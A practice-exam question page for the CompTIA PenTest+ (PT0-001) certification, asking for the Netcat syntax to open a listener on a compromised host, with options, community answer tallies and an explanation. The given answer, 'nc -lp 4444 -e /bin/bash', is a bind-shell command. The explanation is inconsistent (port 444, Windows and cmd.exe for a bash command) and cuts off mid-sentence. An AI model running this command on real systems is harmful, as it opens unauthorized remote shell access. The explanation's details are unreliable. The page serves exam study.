nerdexam
CompTIA

PT0-001 · Question #69

A penetration tester has compromised a host. Which of the following would be the correct syntax to create a Netcat listener on the device?

The correct answer is D. nc -lp 4444 -e /bin/bash. Netcat can be used to set up a Telnet server in a matter of seconds. You can specify the shell you want Netcat to run at a successful connection with the -e parameter. In this scenario, the proper syntax would be nc -lp 444 -e /bin/bash. The nc - tells Windows to run the nc.exe…

Post-exploitation and lateral movement

Question

A penetration tester has compromised a host. Which of the following would be the correct syntax to create a Netcat listener on the device?

Options

  • Anc -l -p 4444 /bin/bash
  • Bnc -vp 4444 /bin/bash
  • Cnc -p 4444 /bin/bash
  • Dnc -lp 4444 -e /bin/bash

How the community answered

(20 responses)
  • A
    5% (1)
  • C
    5% (1)
  • D
    90% (18)

Explanation

Netcat can be used to set up a Telnet server in a matter of seconds. You can specify the shell you want Netcat to run at a successful connection with the -e parameter. In this scenario, the proper syntax would be nc -lp 444 -e /bin/bash. The nc - tells Windows to run the nc.exe file with the following arguments: -l: Listen mode, for inbound connections -p: Specifies a port to listen for a connection on -e: Tells what program to run once the port is connected to (cmd.exe) -v: Specifies to be verbose, printing out messages on Standard Error, such as when a connection

Topics

#Netcat#reverse shell#listener#shell access

Community Discussion

No community discussion yet for this question.

Full PT0-001 Practice